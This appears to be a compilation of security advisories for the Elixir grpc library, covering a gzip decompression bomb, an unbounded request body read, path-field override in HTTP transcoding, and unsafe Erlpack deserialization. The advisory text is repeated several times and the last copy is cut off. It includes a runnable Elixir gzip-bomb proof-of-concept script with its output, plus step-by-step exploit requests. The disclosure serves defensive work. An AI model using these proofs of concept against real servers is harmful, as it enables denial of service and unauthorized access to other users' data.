grpc

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
2. Send: GET /users/me/profile?user_id=victim
3. The decoded request struct has user_id = "victim" — the authorization check passes for the victim's resource, not the caller's.
4. Alternatively, for a POST with body: "*": send {"user_id": "victim"} in the JSON body.

Impact

Affects applications using grpc ≥ 0.8.0 with HTTP transcoding enabled that rely on path-bound fields for authorization or tenant isolation. Fixed in 1.0.0. An authenticated attacker can read or modify any other user's resources exposed via transcoded endpoints.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/8aaf3d3a8c4c7b08ac65e9c6f254e0d24da1d048
• Patch commit: https://github.com/elixir-grpc/grpc/commit/33b6a095dbc91c6dee3c7b90893d7d74952e82e4

Summary

GRPC.Codec.Erlpack.decode/2 calls :erlang.binary_to_term/1 directly on the raw gRPC message body without the :safe option. Any unauthenticated peer that can reach a gRPC endpoint with Content-Type: application/grpc+erlpack can crash the entire BEAM node via atom table exhaustion or, if a decoded fun term flows into a call site that invokes it, achieve remote code execution inside the server process.

Details

Root cause — lib/grpc/codec/erlpack.ex implements decode/2 as a bare :erlang.binary_to_term(binary) call with no :safe flag, no size limit, and no type validation. This has two independent exploitation paths:

1. DoS via atom exhaustion — BEAM atoms are never garbage-collected and the global atom table is bounded (~1,048,576 entries). A crafted payload encoding large numbers of fresh atoms saturates the table and crashes the entire VM, taking down all applications on the node.

2. RCE via fun materialization — Without :safe, binary_to_term/1 reconstructs fun and external-fun terms from wire data. If the decoded value reaches any call site that applies it (e.g. Enum.map, Task.async, direct invocation), attacker-controlled code executes inside the server process.

Configuration requirement: GRPC.Codec.Erlpack is not registered by default and must be explicitly added to the server's codecs option.

PoC

1. Start a gRPC server with codecs: [GRPC.Codec.Erlpack].
2. Open an HTTP/2 connection to the server.
3. Send a gRPC-framed POST to any RPC path with Content-Type: application/grpc+erlpack and a body of :erlang.term_to_binary(fn -> <malicious_code> end).
4. The server's decode/2 materializes the fun; any downstream call site that invokes the decoded value executes the attacker's code.
5. For DoS only: send payloads encoding fresh atoms in a loop until the atom table is exhausted and the VM crashes.

Impact

Affects grpc ≥ 0.4.0. Any server that explicitly registers GRPC.Codec.Erlpack is vulnerable to unauthenticated node-level DoS and potentially RCE.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/25bcc569fe2cc4478531a6c546c923205fc751c9
• Patch commit: https://github.com/elixir-grpc/grpc/commit/272a97a5ea1b46af1819f14a831fcf35fc91f992

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Summary

'Elixir.GRPC.Server.Adapters.Cowboy.Handler':read_full_body/3 accumulates every received chunk into a single growing binary with no size cap. When the client omits the grpc-timeout header, the read timeout resolves to :infinity, allowing a slow-trickle attacker to hold the connection open indefinitely while memory grows. A single unauthenticated connection is sufficient to exhaust BEAM memory and crash the node.

Details

The read loop in lib/grpc/server/adapters/cowboy/handler.ex calls :cowboy_req.read_body/2 in a recursive loop, concatenating each chunk: body <> data. There is no running-total check and no configurable maximum body size. As the loop drains the receive buffer, cowboy issues fresh HTTP/2 WINDOW_UPDATE frames, so the client can keep pushing data indefinitely.

The grpc-timeout header is attacker-supplied and optional. When absent, timeout_left_opt(nil) returns :infinity, so the per-chunk read also has no deadline. The two missing controls compound: a fast client can blast multi-gigabyte payloads directly into memory; a slow client can trickle data forever.

PoC

1. Start any grpc server exposing a unary RPC (no special configuration required).
2. Open an HTTP/2 connection and send a POST to any unary RPC path with Content-Type: application/grpc+proto — omit the grpc-timeout header.
3. Stream a large body (e.g. 1 GiB) in chunks without sending the final END_STREAM flag immediately.
4. Observe BEAM memory growing proportionally to uploaded data with no server-side cap.

Impact

Affects grpc ≥ 0.3.1. No authentication, no special configuration, and no specific RPC method required, the unbounded read is on the default unary ingress path.

References

• Introduction commit: https://github.com/elixir-grpc/grpc/commit/d1abe70a6cad6dac4a3f8235d883d7c896989560
• Patch commit: https://github.com/elixir-grpc/grpc/commit/49e18c3ec6bb9afe2f712caad3dbab5c56a68a00

Summary

In the HTTP-to-gRPC transcoding layer of the grpc Hex package, query-string and request-body parameters can silently overwrite path-bound fields when building the decoded protobuf request struct. An authenticated attacker who can reach a transcoded endpoint can substitute any path-bound identifier (e.g. user_id from /users/{user_id}/profile) with an arbitrary value, bypassing authorization, multi-tenancy, and ownership checks that rely on the path-derived field.

Details

All three clauses of GRPC.Server.Transcode.map_request/5 (grpc_server/lib/grpc/server/transcode.ex) use Map.merge/2 with path bindings as the first argument, giving them the lowest merge precedence. Path bindings are extracted by the router from the matched URL template and should be the authoritative resource identifiers, but query-string and body parameters overwrite them. The decoded protobuf struct handed to the handler carries the attacker's value instead of the router's.

PoC

1. Deploy a transcoded gRPC service with a route like GET /users/{user_id}/profile where the handler authorizes access based on request.user_id.
